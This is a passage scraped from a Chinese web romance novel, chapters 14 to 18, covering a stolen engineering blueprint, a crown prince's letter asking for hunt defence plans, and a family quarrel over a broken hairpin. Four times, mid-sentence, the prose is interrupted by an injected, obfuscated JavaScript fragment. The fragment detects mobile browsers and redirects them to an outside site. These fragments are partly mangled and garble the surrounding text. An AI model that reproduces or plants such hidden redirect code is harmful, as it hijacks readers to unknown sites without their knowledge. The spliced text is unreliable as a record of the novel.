工部郎中见到她很是意外,“鹿姑娘,你怎么来了?” “我陪父亲来的。父亲听闻周伯伯大病初愈,今日特来帮衬着他把修缮大事办妥。”鹿微眠回头看了一眼房内,“只不过刚刚正好碰见周伯伯拿着图纸从公库出来,父亲好像有点生气,我不懂这些,就先回避了。” “图纸?!” “公库?!” 工部郎中惊叫两声,大惊失色,甚至顾不上跟鹿微眠行礼,慌忙绕过她冲进了屋子。 图纸上封不能打开,这东西出了任何差池,要的是他的命啊! 工部郎中冲进去后,周围其他人也多多少少听到了些,赶忙赶了过去,连声问着,“出什么事了?” 鹿微眠站在院内,看着他们一个接着一个地跑进去。 鹿瑜高声训斥质问着周喆是何居心,为什么要更换图纸,图纸是拿给谁的。 其他人脸色惨白地说着周大人糊涂啊,这是为了什么。 周喆几番狡辩都显得很是苍白无力,被人一眼识破。 关键是被发现得太过巧合,恰好是今日,偷换图纸被抓了个正着。 鹿瑜叫进来的侍卫将他带走关押,一并将此事上报给了朝廷。 鹿瑜出来的时候,脸色铁青,看见鹿微眠,还是努力挤出些柔和的神色,“阿眠先回家吧,父亲这里有些要紧事需要处理,今晚可能也不回去了。” 鹿微眠应了一声,将食盒递了过去,“父亲别急。” 她顿了一下,“能在出事前发现,就是好的。” 鹿瑜没听出来女儿的万千思绪,答应着送她上了车。 鹿微眠先回了府苑,将此事告知叶绾。 叶绾很是诧异,“那周喆平日里看着挺老实的人啊,怎么会这样。” “过去和表面,都不能决定一个人现在的品性。”鹿微眠将剥好的橘子递给叶绾,“父亲还不是司空的时候,他与父亲通吃同住,亲如兄弟手足。” “但如今,还是会因为自己的利益,陷父亲于险地。” 叶绾接过鹿微眠手里的橘子,一时感慨,“他明明是你父亲一手提拔上来的。” 鹿微眠其实真正想说的,不是周喆,而是舅舅。 她看着叶绾并没有往那边想,恐怕即便是说出口,也会惹叶绾不高兴。 鹿微眠知道当前看起来,是因为周喆嗜赌成性,为了钱把图纸出卖给了别人。 但真正重要的是找到这个买家。 这个买家十有八九是她舅舅的人,要么是太子的人。 不论是哪一个追查到,都有价值。 只有抓到他们的缺口,她手里能把控住的主动权才能更多一些。 鹿微眠不放心,多留了一日,等鹿瑜从工部回来,她才问道,“现在朝中可定下来谁审讯了吗?” 鹿瑜看起来有些憔悴,“眼下还在调查中,陛下要求我们这边先把工程图纸安排好,审讯多半是刑部那边。” “若是父亲您能说得上话。”鹿微眠顿了顿,“切记不要让与太子有关的人插手。” 鹿瑜不解,“为何?” 鹿微眠很难跟他解释来龙去脉,“您信我就好了。” “信。”鹿瑜脱口而出,“为父自然是信你的。” 那日清早,他们家乖乖突然起了个大早陪他们用早膳,接着就劝他去工部看看,刚巧就抓到了这么大的事情。 鹿瑜就知道他们家乖乖是个小福星,“不过太子殿下近来是出了点事,听说前阵子那个私换了封行渊军械的曹兴正要出逃,被太子暗卫抓住灭口,兵部正好撞上。” “有人说,太子是一早就知道封轸回京会夺妻,早就想要灭口。” 鹿微眠没有这般高看自己,也不觉得慕青辞杀封行渊是因为她,“所以他并不是表面上看着那般清风霁月,能借战场公事报私仇,他也不过如此。” 鹿瑜还是难得听鹿微眠骂太子,围护封行渊。 他不禁好奇,“封行渊待你如何?” 鹿微眠没反应过来父亲怎么会突然提他,“还好,蛮听话的。” 封行渊除了有些小脾气、没安全感,总要反复地试探她之外,还是很听话的。 鹿瑜听着小两口感情意外地挺好,“虽然父亲是不怕你在家住,但他不介意吗?” “他不介意的。” 鹿微眠想,睡觉连碰到他都不乐意,他能介意什么。 封行渊也很少在意一些琐碎的事情。 要说在意的,只有牵扯到她跟太子的事,他会有一些很不同寻常的反应。 但如果说是吃醋,倒也不至于。 更多的像是防备。 像是一只曾经受尽欺凌算计的小兽。 看见人靠近,就会露出爪子。 她猜得不错。 深夜,凌一将一封信送到了封行渊书房。 “太子又给夫人送信了。” 封行渊头都没抬,“给她送信,你拿给我做什么。” 凌一解释道,“夫人走了五日,这信已经放在那里三日没人取了。” 封行渊掀起眼帘看过去。 没人取的意思是,这院子里代替慕青辞给鹿微眠传信的暗线,已经没有了。 也没有鹿微眠自己想要传信的暗线。 少年身形往后一靠,手指轻轻点动在桌案上。 隔了一段距离,审视着那封信。 “那就直接放在她桌上,等她回来自己看。” 凌一:“啊?” 封行渊挑眉。 凌一闭嘴,乖乖地把信件放在了鹿微眠房里。 次日傍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661328|156361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚,鹿微眠还是在晚膳前回了封府。 话是那么说。 但她的确已经在家五日了,再不回来实在是有些不合适。 暂且解决了周喆的事情,又在家玩了几日,鹿微眠回封府的时候显得很是开心。 她将从家里带回来的膳食摆了一桌子,没看见封行渊,便差暮雨去叫他过来一起吃饭。 封行渊踏进房里时,一眼就看见了那封放在她梳妆台上的信件,她还没有拆。 偏偏她还很是热情地招呼他,大概是根本没看见,“你来啦,坐!” 封行渊坐在了鹿微眠对面,“难为夫人归宁这么久,还能想起我。” “那是自然,我就知道你还没吃饭,”鹿微眠打开旁边的荷叶糯米鸡,“你尝尝这个,我家里的厨娘做得可好吃了。” 桌上还有樱桃小排、乳酪鱼汤,翡翠云饺。 每一个样式都很精巧,但是分量不大。 看得出来,她也很喜欢漂亮的东西。 封行渊看着这些漂亮膳食,手中筷子愉悦地轻戳了一下水晶酥酪,“这么开心,是在家里遇到了什么好事吗?” 鹿微眠夹了一只翡翠云饺,“家里没事就是好事。” 封行渊声音轻扬,“说的也是。” 他有意停顿了一下,“诶,那是什么?” 鹿微眠顺着他的示意看过去,径直看到了自己的梳妆台前,摆着一封信。 是东宫信笺。 鹿微眠咬着云饺。 身旁传来少年悠扬的声音,“又有人给夫人送信了啊。” 鹿微眠转头看了他一眼。 封行渊愈发刻意,阴阳怪气,“不过夫人这般国色天香,招人喜爱也是正常。” 鹿微眠听不下去了,她放下筷子起身,直接去拿那封信。 她的碗里放着她咬了一口的翡翠云饺。 显露出一圈小小的牙印。 一口下去,云饺就破了个皮。 封行渊轻扯唇角,很快鹿微眠折返回来,把信拍在了他面前,“你不乐意就自己看嘛。” “我没有拆人信件的习惯,何况还是你的旧情人。” “你还挺正直。”鹿微眠自己拆开信件,摊开摆在他面前,“既是旧情,那我现在就没有什么不能给你看的话。” 然后,信件上第一句话。 “阿眠,吾爱至深,自尔婚成夜夜痴梦缠身,苦不堪言……” 鹿微眠不由得屏气,她发觉还是高估了自己的脸皮。 饭桌上陡然陷入一阵怪异的沉默。 封行渊饶有兴致地看了她一眼。 鹿微眠欲盖弥彰地清嗓,“好了,我们看下面。” 她把信纸折起来,藏住那一段缠绵情话。 然后下一段第一句话,入眼就是,“那封轸自私卑劣,实乃笑里藏刀的衣冠禽兽,他卑鄙无耻、离经叛道、无恶不作……” 慕青辞活生生骂了封行渊半张纸,用词丰富令人叹为观止。 看得饭桌上愈发沉寂安静。 鹿微眠有点后悔为什么要跟封行渊一起看这种东西。 她偷偷看了两眼封行渊的脸色。 却见他不怒反笑,优哉游哉地点评着,“慕青辞读书是多。” 他看向她,“夫人觉得他写得如何?” 15. 第15章 鹿微眠悄悄卷起骂人的那一段,“他说什么随他嘛,我是不会相信他胡说八道的。” 封行渊身形倚靠在座椅上,“为什么不信,他说得挺对的。” 鹿微眠纠正他,“不要说这种气话。” 她折起那一段,最后发现也没剩下两句话。 主要是骂完封行渊后,提起了封行渊“诬害”他私换军械的事情,过段时间的皇家围猎,封行渊负责围猎布防的差事,慕青辞担心封行渊又会有其他举动。 因此想要托鹿微眠要走封行渊的布防图,好有所防备。 鹿微眠看到这里,一并沉默下来。 因为前世,慕青辞虽然没有问她要布防图,但是围猎的确出了一场大事。 封行渊的布防出了问题,导致围猎当日出现了刺杀流乱。 那天封行渊身负重伤从山里回来,还被指勾结刺客,意图谋反而关进刑部,差点赐死。 但是皇帝命人关押审讯他没几日,刑部就突发爆炸。 清理的时候,就找到了被人藏起来的刺客身份关键证据,与封行渊无关,才将他放了出来。 到底是令帝王生疑的人,即便是后续查证无罪,产生的疑虑也不可能轻易消散。 此后他作为朝中新贵很快也以养伤为名,被朝廷边缘化。 不只是封行渊自己。 连整个王朝的运势也仿佛在那一场流乱刺杀中开始走下坡路。 此后一路风波不断。 鹿微眠印象很深是因为爆炸场面惨烈,她作为家眷被刺客挟持在营地。 等被慕青辞带兵解救出来回府后,就碰上了官兵来封府搜查,告诉她封行渊意图谋反。 鹿微眠从来没听过这么大的罪名,怎么都想不出来她这个没见过几面、又与她和颜悦色的夫君能有谋逆的心思。 她在家心惊胆战等了几日,他就无罪被放了回来。 她本着名义夫妻的由头去看了他,得知虽然他身上既有在猎场里被围困打斗的伤,也有刑伤,大概是被严刑逼供过。 如今仔细想来,这一场刺杀和诬陷,不论哪一个得逞了。 慕青辞都是最大的受益人。 鹿微眠看向身边人。 封行渊察觉到她的视线,也看了过来,问了一句鹿微眠意料之外的话,“夫人可想要我给他?” 鹿微眠睁大了眼睛,几乎以为自己听错了,“什么?” 封行渊戳弄着碗里的山楂馅水晶酥酪,看着水晶薄皮随着他的玩弄,而显露出脆弱不堪的样子,薄皮撑到透明,最终破了一道口子。 但嘴上仍然乖顺无比,“如果是你想要,我就给。” 他的话语分辨不出情绪。 但是手中的筷子从水晶薄皮破口探入,两根筷子剐蹭着细嫩的入口,缓慢地搅弄着里面粉白的酥酪馅。 带着凌虐气息。 鹿微眠秀眉轻蹙,“我怎么会想要,他要走那肯定是想要对你做一些不好的事情啊,我为什么会想要他欺负你?” “那你不怕我欺负他?” 鹿微眠不想听他试探了,抱过自己的碗,学着他阴阳怪气道,“怕,怕死了,那你给他好了。” 封行渊弯唇,手上力道没稳住,那一颗圆滚滚的水晶酥酪承受不住凌虐,撑到透明的薄皮被撑大。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680626|156361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 浓郁的乳酪馅被欺凌出来,溅出的馅料,溢出一阵甜气,瘫软脆弱地依附在盘子里。 白里透红。 好生可怜。 封行渊心情愉悦地夹起来,看那破裂的水晶酥酪软得不成样子,任由摆布。 饭桌上沉寂片刻,鹿微眠有点不放心,还是旁敲侧击道,“布防图一定要小心,我从前看史书,有一年因为布防图失窃,结果有刺客闯入围猎场上,掌管布防的官差事后全部关押赐死。” 封行渊眼底带过兴味,“什么史书讲这个?” “我忘记了。”鹿微眠含糊过去,“布防图流落他人之手总归不是什么好事,况且我不觉得慕青辞只是防备那么简单,万一他知道了你的行踪,想趁着你在深山里出手报复你呢。” 鹿微眠觉得自己已经说得够直白了,封行渊这般警觉的人,肯定能听得出来。 “用兵之事我也插不上手,你自己有办法吗?” 封行渊看她。 恰好,鹿微眠白里透红的脸,与一旁破裂的水晶酥酪相衬。 肌肤也是乳酪馅一样的白皙红润。 他筷子又压了压水晶薄皮,压出更多馅料汁水,有一搭没一搭地回,“嗯。” 两刻钟后,封行渊用过晚膳回到书房。 他盯着桌上的东宫信笺欣赏了许久,而后优哉游哉地将东西放进去重新封好,递给凌一。 凌一接了过来,“这是……” “太子要的围猎布防图。” 凌一微怔,“真给吗?” 封行渊眉梢微扬,眼底闪着兴奋的光,“夫人让我给他好了,我就给了啊。” 16. 第16章 清秋时节,鹿微眠在封府后院里散步,看着日光筛过树梢的斑斑点点出神。 也不知道封行渊有没有听进去她说的话,把布防图的事当回事。 他说有办法,那应当是有办法的吧。 但这件事,鹿微眠确实除了提醒,做不了太多事情。 鹿微眠长叹一口气。 忽而不远处有婢女朝她走过来,“四少夫人。” 鹿微眠闻言看过去,一时眼生没认出来。 翠兰笑盈盈地上前,“我是府里六姑娘的贴身侍女,六姑娘就在那边赏花,远远瞧见您了,听说您见多识广,特来请您过去。” 鹿微眠总归已经走到这里了,没有拒绝的理由,“有劳带路。” 翠兰在前面带路,“我们姑娘很早就想要见您了,只不过前些时候,听说您一直往家里跑,就没敢叨扰。” 鹿微眠弯唇,但并没有回话。 封府后院凉亭里,早早就摆好了糕点和茶饮。 石凳上坐着一个年轻女孩,鹿微眠隐约记得,这府里的六姑娘好像最近也在议亲。 封芙安很是热情地朝她招手,“四嫂可真是大贵人,难得一见。” 鹿微眠走上前,“原本该我去找你的,只是前阵子你家中事务繁忙,总是要回去,才耽搁了。” 封芙安问着,“家中事可都办妥了。” “家里都是些小事。” “那就好。”封芙安的视线不由得看向了鹿微眠发间的蝴蝶步摇,还是没忍住出声,“四嫂这步摇可真好看,可以给我看看吗?” “可以啊。”鹿微眠伸手摘下来,将步摇递了过去。 封芙安拿过来,一时惊叹不已,“要么他们说四嫂出身富贵人家,这用的东西都是顶顶好的,我都没见过。” 翠兰应和着,“四少夫人是司天台指的贵人,吃穿用度是与寻常人不一样。” 鹿微眠听着她们一唱一和,“也没有什么不一样的,你四哥也是司天台指的贵人。” 封芙安听到封行渊的名号,不屑地扯了扯唇角,弧度稍纵即逝,但还是被鹿微眠看到。 “要说他小时候刚来,我们可没看出来他有这般福气。对了,他对你可还好?” 鹿微眠应着,“还好。” “那四哥还是转性了,”封芙安拿着鹿微眠的蝴蝶步摇,就往自己头上戴,一面戴一面说着,“小时候我们家也不宽裕,还要养着他,他三天两头给父亲母亲惹祸。” “四嫂你知道吗,他那个时候就会杀人了,疯起来跟狗一样。我们都不敢惹他。” 鹿微眠眼睫轻颤了下,“杀人?当时是出了什么事吗?” “他就是坏呗,四嫂你也要小心看他是不是装的。”封芙安看起来很满意鹿微眠的蝴蝶步摇,“我是喜欢嫂子才好心提醒你的。” 封芙安转头扶着发间的步摇问翠兰,“你看我戴好看吗?” 翠兰偷看了一眼鹿微眠的脸色,夸赞道,“好看。” 鹿微眠默不作声地看着她们。 封芙安被夸得很开心,转头又问鹿微眠,“四嫂,你觉得呢?” 鹿微眠很轻地应了一声。 “不然四嫂你把这个步摇送我吧,反正这种首饰你那里也多的是,”封芙安理所当然地开口,“日后我可以告诉你更多四哥的事情,这个家里有我们帮你,四哥不敢对你做什么。” 鹿微眠深吸了一口气,听得有些厌烦,“这个步摇是我母亲送我的生辰礼物,恐怕不便送给旁人。” 封芙安大抵是没想到鹿微眠会拒绝,看了她一眼,有些不舍得拿下来,“生辰礼物……应该很多吧。” 鹿微眠耐着性子道,“我的意思是,这个东西对我很重要。” 封芙安不得不拿下来,放在手里装模作样地看着,“那四嫂你嫁到我们家可给我们准备了什么见面礼吗?” “我大嫂嫁进来的时候,可给我们每个人都带了。” “我出嫁匆忙,没有来得及,等日后一定补上。” 封芙安闻言,扯了扯唇角,“好啊,那我等四嫂的礼物。” 她视线流连在那只蝴蝶步摇上,心不甘情不愿地转手给鹿微眠,动作间带了些不屑和随意,步摇近乎是被她扔了过来。 鹿微眠大抵是没料到。 步摇一下子坠到青石地面上,蝴蝶翅膀瞬间断裂开。 清脆的声响瞬间刺激着每个人的神经。 鹿微眠心底一沉。 封芙安大抵也没想到,眉眼间有些慌,但还是撑住气势,转而指责鹿微眠,“四嫂你怎么这么不小心啊。” 暮雨凝眉上前一步,“六姑娘,方才是你甩了手,才跌坏了东西。” “与我何干?”封芙安心虚地瞪圆了眼睛,“四嫂,你这个婢女怎么这么没规矩啊,还污蔑我。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694601|156361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚明明都递过去了。” 鹿微眠手指轻轻攥紧,一瞬不瞬地看着她。 旁边翠兰见状,连忙捡起地上的步摇,递还给鹿微眠,“这真是不巧。” 鹿微眠正要说话,又被封芙安堵了回去,“四嫂是懂礼仪规矩的人,也不至于因为自己脱了手,还要跟我们计较上吧。这府里低头不见抬头见的,若是你跟四哥出了岔子,不还是得我们帮忙吗?” “是啊,不过一个步摇的事,”翠兰应和道,“四少夫人是名门千金,因为这等小事跟家里闹不和,传出去也难听。” 暮雨气不过,“你……” 鹿微眠伸手将她拦下。 鹿微眠发觉,她周围的人还是太循规蹈矩、单纯良善了。 她并没有跟这等地痞无赖打过交道,以至于在被这种人以礼仪规矩裹挟的时候,她不知道该怎么放下身份反驳。 凉亭外,突然响起一道男音,“吵什么呢?” 是封府二少爷,封骏。 封芙安随口道,“没什么二哥,就是四嫂的下人不懂规矩。” 鹿微眠正要走,刚听了来龙去脉的封骏伸手将她拦下,“我当是多大的事。” 封骏低头看着那张娇俏诱-人的脸,不禁愈发心痒。 封行渊那个下贱胚子如何配得上这般美人,“若是弟妹当真喜欢那个步摇,我就再赔弟妹一个如何?” 鹿微眠冷声道,“多谢二哥好意。” 说完,她径直离开。 鹿微眠快步回院,脚步越来越快,暮雨拿着被摔坏的步摇小步跑才跟得上她,“夫人。” 鹿微眠没有看路,走到院门口一个不防备,猝不及防地撞上了一堵结实的肉墙。 他身上坚硬的金属配饰撞得她疼出了眼泪。 封行渊调侃着,“夫人今日怎么这般莽撞。” 不知道是不是突如其来的疼痛刺激到了她,还是他的话刺激到了她。 鹿微眠红着眼睛,鼻尖泛酸。 封行渊半天没听到回应,弯身细看,“怎么了?” 鹿微眠鼻音很重,嘟囔着推开他,“就我莽撞,你们全家都不莽撞。” 封行渊被推得踉跄一步。 鹿微眠跑进屋,暮雨正要跟上,封行渊出声,“站住。” 暮雨不得不停下,“姑爷。” 封行渊看过来,眸光乖戾,“谁欺负她了?” 17. 第17章 暮雨同封行渊讲了事情经过。 封行渊并没有太多反应,只是伸手拿过步摇,好整以暇地端详着。 那蝴蝶翅膀断成两截,根本无法振翅扇动。 封行渊轻“啧”一声,只说了一句,“知道了。” 而后转身出了院子。 暮雨没懂姑爷这是知道什么了。 她看着他离开,才想起来进屋哄鹿微眠。 鹿微眠只是气恼,自幼她身边的朋友,弄坏了她的东西,总是会赔给她的。 她要与不要是一回事,但态度是另一回事。 这家人怎么可以如此无耻,摔坏了她的东西还能泼皮耍赖。 还架着她的身份,不让她计较。 鹿微眠又觉得,自己今日吵架没发挥好,合该说那东西是宫里赏赐的,非得也架住他们,吓唬吓唬他们才是。 暮雨与孙嬷嬷好生安慰了一阵才见好。 事情已经发生了,再过多思虑没有意义。 鹿微眠索性不去想这件事。 鹿微眠只求自己下一次吵架能争点气。 封行渊深夜回来的时候,鹿微眠刚点上床榻边的灯盏。 她听见动静,也没有回头,自顾自地往床里爬。 封行渊自然是感觉到了她的情绪,“不是说,你可以不用与他们来往。” “那我路上碰到了,也不能掉头就走。” 封行渊不懂,“为何不能?” 鹿微眠哑然,半天才憋出一句,“没礼数。” 封行渊了然,他褪下外衫挂在旁边衣架上,露出内里干净的衣衫和宽肩窄腰的身形轮廓,鹿微眠见状不自觉地避开视线,抱着被子往床里侧挪了挪。 相比之下,少年倒是自在很多,“你懂礼数,可他们不见得。毕竟这种漂亮的事情,不是什么人都会。” 比如他。 但他喜欢这种漂亮的东西。 鹿微眠想着他竟然能把“华而不实”说得这么好听,不死心地狡辩着,“去之前,我也没有想到会是这个样子,知道我就不去了。” 鹿微眠正要躺下,床榻边的人出声,“过来。” 她撑着床褥,隔着床幔红纱看过去,“干嘛?” 封行渊声音依然很轻,“过来。” “我好累了。” “好吧。”封行渊将手中的蝴蝶步摇随手斜插在她的梳妆台上。 少年纤长手指轻巧灵活,蝴蝶翅膀随着他的动作,震颤扇动。 完好如初。 封行渊拨弄了一下蝴蝶翅膀。 蝶影被烛灯映照,在墙壁上翩跹而动。 他想,这是她告诉他慕青辞计划的回礼。 如果她不想让别人欺负他,那她受欺负,他也不会坐视不理。 封行渊抬手挥灭鹿微眠刚刚点燃的灯盏,撩开纱帐。 不知是云涎香管用,还是身边有人陪,鹿微眠睡得出奇的好。 第二日,她是被屋外孙嬷嬷的敲门声敲醒的。 孙嬷嬷平日里知道鹿微眠的休息时间,一般情况下,也不会擅自来敲门。 如果来敲了,那多半是有事情。 比如这次。 鹿微眠被敲得脑袋一阵一阵发蒙,半梦半醒间睁开眼睛,径直对上了一张清晰深邃的俊秀面容。 他的睡颜很沉静,干净而清爽,寝衣上是浅淡的茶香。 鹿微眠脑袋一空。 发现自己这一次越过了重重枕头,钻到了他的怀里。 她轻轻抿唇,想要趁着封行渊还没醒钻出去,免得他又要说自己占他便宜,要把她绑起来。 鹿微眠刚要动,孙嬷嬷的敲门声再度响起。 几乎是同时,封行渊睁开了眼睛。 鹿微眠动作顿住。 她在极近的距离间,对上少年异瞳。 他睡觉不戴面具。 那漂亮得近乎妖冶的眉眼定定地看着她,让鹿微眠恍惚间有种吵醒了沉睡中的猛兽后,被猛兽当猎物盯上的错觉。 她甚至能看清他瞳孔深处的纹路。 此起彼伏的呼吸声摩挲着耳膜,直到孙嬷嬷的声音再度响起,“姑娘,姑爷,前院来人了,叫你们过去。” 鹿微眠这才想起出声,“来来,来了。” 鹿微眠起身,顺势拉他,“快点啊,外面来人了。” “又不会进屋来。”封行渊刚睡醒的声线沙哑,还在判断着她看到自己左眼的反应,但发觉她自然得过分,仿佛在看一个稀疏平常的事物,“要睡还能继续。” 有人在外面等着,鹿微眠的教养是让她根本睡不着的,“我不继续跟你睡了。” 孙嬷嬷并非故意,但隐约听到了他们俩的对话,就连忙撤开,不敢再听。 她从封行渊的身上越过去拿衣服。 刚拿过来准备换,鹿微眠手上动作再度停下,以往要么是她自己睡,要么是封行渊早早就晨起走了,她就在这里换衣服也没什么。 可今天屋里还有个男人。 鹿微眠硬生生在原地停了片刻,踟蹰着出声,“那个,我去换衣服。” 说完抱着衣服去了沐浴隔间。 封行渊不懂她在别扭什么,只是觉得有些遗憾。 他又没有看到,她身上有没有那颗红痣。 等她出来的时候,发现原本说继续睡的少年也已经换上了外衣。 鹿微眠坐在梳妆台前,乍一看见桌台上的蝴蝶步摇,还以为自己是眼花了。 她拿起来,发现的确是她昨日被摔坏的步摇,从前留下的划痕也在。 翅膀断裂的部分不知用了什么接了起来,连一丝裂隙都没有。 就像是没有被摔坏一样。 “这是……”鹿微眠想起什么来,转头看向封行渊,“这是你弄好带回来的?” 封行渊头都没抬,仔仔细细地打理着他的袖口,推门出去,“不知道,兴许是它自己莫名其妙好的。” 鹿微眠叫了他两声想细问,并没有叫住,但不妨碍她开心。 她将步摇认认真真地放进妆匣内,简单梳了个发髻出去。 鹿微眠到花厅时,二房封骏与封行渊相对分坐在两侧,两人已经聊了起来。 封行渊明显不悦,“这点事,也值当的你把我叫起来?” “不过是来问一下。”封骏带着一张笑脸,见鹿微眠来,忙起身相迎,“弟妹。” 鹿微眠简单打了声招呼,“这大清早的,二哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“除了他还能有谁,芙安砸了一个步摇,他就砸了芙安的屋子,这种事只有封轸能干得出来。” “他的把柄哪里是这么容易找到的,不然太子殿下早就处理掉他了,”封骏背着手,“昨夜他们夫妻俩一直在一起,问都问不出来破绽。让芙安日后小心点,别任性起来,自讨苦吃。” 等封骏的人都走干净,关上门,鹿微眠才疑惑道,“怎么好端端地,开始抓起老鼠来了。” 暮云想着早上听到的消息,“奴婢听说,昨夜六姑娘闺房里几根柱子被老鼠啃断了,房梁都砸了下来,她整个屋子都被砸坏了,塌了半边,人差点没压里面。” 鹿微眠怔然,“塌了?” “是啊,六姑娘人都吓傻了,哭了一宿。” 而此时一旁真正的罪魁祸首悠闲无比,独自把玩着封骏送来给鹿微眠的蝴蝶步摇。 封行渊纤细修长的指骨捏着,伸到桌边。 然后“啪”地一下松手。 那蝴蝶步摇掉在地上,摔得四分五裂。 封行渊恶劣而轻快地弯起唇角。 鹿微眠闻声看过来时,少年干净清秀的面孔占尽优势,几分纯良,只有眸色深处闪着愉悦的光,“我不小心。” 18. 第18章 “摔了就摔了吧。”鹿微眠总归也不想留二房人的东西,何况她的乖乖夫君已经给她修好了步摇。 一大早起来就在折腾,鹿微眠这会儿还没吃东西。 她叫孙嬷嬷准备午膳,想起什么来,问封行渊,“那个步摇,你是去找了金匠打的吗?” 封行渊没懂,随口问着,“什么金匠,这个需要金匠打吗?” “我看着也挺好锻的,就是比我的面具麻烦一些。” 鹿微眠看着他,眨了眨眼睛,“这该不会是你自己修的吧。” 封行渊看过来。 似乎并不觉得这件事情值得她产生疑问。 鹿微眠对上他坦荡自然的视线,惊讶之余,略略收敛一些。 然后认真地给予了肯定,“那你好厉害啊。” 封行渊眼睫动了一下,又不自在地压低,声音也跟着低了几分,“这有什么厉害的。” “真的很厉害。”鹿微眠走过来,毫无征兆地弯下身。 封行渊警惕地抬头,正对上小姑娘好奇的视线,和伸在半空中的手。 鹿微眠其实一直都没有仔细看过他的面具,她的手伸到一半停顿了片刻,只是轻轻碰了一下冰凉的金属边缘。 这一角黑色面具以鼻梁为分界线,只遮住了他的左眼,并不影响少年的美貌,纹路顺着眼型展开,自然流畅,也像是战场上的甲胄装束,只不过精细很多,还有很是漂亮的暗纹。 只是她没想到,这是他自己打的。 他好像也喜欢漂亮的东西。 鹿微眠又问,“那纹路也是你自己画的吗?” 封行渊和她保持着防备的距离,很不适应这样的对话,因此并没有回答。 鹿微眠当他默认,一时间惊叹不已,“我身边的人都不会这个,好厉害。” 少年耳根莫名开始泛红,但脸色并不自然,也不觉得这件事值得被称赞。 那张清俊的脸上显露出有些矛盾的和谐感。 他许久没说话,正欲起身离开。 不远处暮雨跑来叫她,“孙嬷嬷说桂花春卷出锅了,夫人要不要先去尝个热乎的。” “这么快。”鹿微眠立马提着裙摆赶了过去,“我要饿死了。” 封行渊起身的动作停下,又安安稳稳地坐好,看着那少女的背影。 判断着她是认真的,还是在哄他。 鹿微眠跑去小厨房蹭了两口新鲜糕点。 想着拿去给封行渊的时候,花厅里已经没了人。 鹿微眠问旁边的看守,说是出门办差了,鹿微眠信以为真,先去吃了午膳。 与此同时,封府大院内,传来一阵摔砸东西的声音。 罗氏赶到院内,刚巧一个花瓶摔在她脚下,惊得旁边婢女连忙去禀报。 “六姑娘,夫人来了。” 屋内稍稍安静了一阵。 罗氏进屋,“不是都与你说了,消停一些,还要闹什么?” 封芙安哭肿了眼睛,大吵大闹着,“那些老鼠明明就是封轸放的!你们怎么能就这么放过他,他想我死啊!” “不是都说了,现在没有证据,我们如何追究?”罗氏如今也心烦的很,“又不是第一次出这样的事了,你既知道他的行事,干嘛还要招惹他?” “我如何招惹他了,还不都是四嫂那个小气鬼,她失手摔了自己的东西,偏偏还要怪我。”封芙安咬了咬牙,“定是她回去,和那个疯子在背后编排了我一顿,叫他来报复我的。” 罗氏自然知道自己女儿的个性,“你二哥都与我说了,你当时若是不与她吵起来,她如何会编排你?” 封芙安瞪大了眼睛,“你是我母亲,还是她母亲,你们怎么谁都要帮着鹿微眠说话?!” 罗氏被她吵得头疼,原本因为封轸的事情就够心烦了,“不是我帮她说话,我与你父亲本来是看着鹿微眠带了那么多嫁妆,你又正好在议亲,若是跟她打好关系,日后还能想办法让她给你多贴补点嫁妆,寻个好人家。” “你因为一点小事,跟她闹起来,我们怎么开这个口?!” “她连个步摇都不肯送我,怎么可能肯给嫁妆?” “这事就得慢慢来了,我和你哥哥自有打算。”罗氏提起,“围猎快到了,到时候不少贵公子前去,你注意些永昌伯爵府的二公子,他虽然是个庶子,但上头只有一个姐姐,你争点气。” 封芙安沮丧着脸,还是不满。 罗氏好言相劝了一阵,她才作罢。 等罗氏离开后,翠兰也跟着哄她,“夫人说得没错,若是二公子日后能继承伯爵府,那您就是伯爵夫人了,到时候要风得风,要雨得雨,还怕她鹿微眠一个提督夫人吗?” 封芙安想着也是。 鹿微眠嫁得这般差劲,怕是后半生也就这样了。 她可不一样。 但要说咽下这口气还是不能的。 翠兰在旁边询问着围猎要带什么衣服过去,封芙安走上前看着,选了一条粉色裙子。 翠兰迟疑片刻,“姑娘,这个倒是好看,只不过有些单薄,进山里怕会有些凉。” “凉就带个披风。” “凉倒是其次,山里的蚊虫鼠蚁多,穿少了也会受叮咬。”翠兰又拿了一件,“不如这件吧。” 她问着,半天没有听到封芙安的回应。 转过头,就看着封芙安嘀嘀咕咕道,“你说,山里蚊虫多是吗?” 翠兰应道,“是啊。” 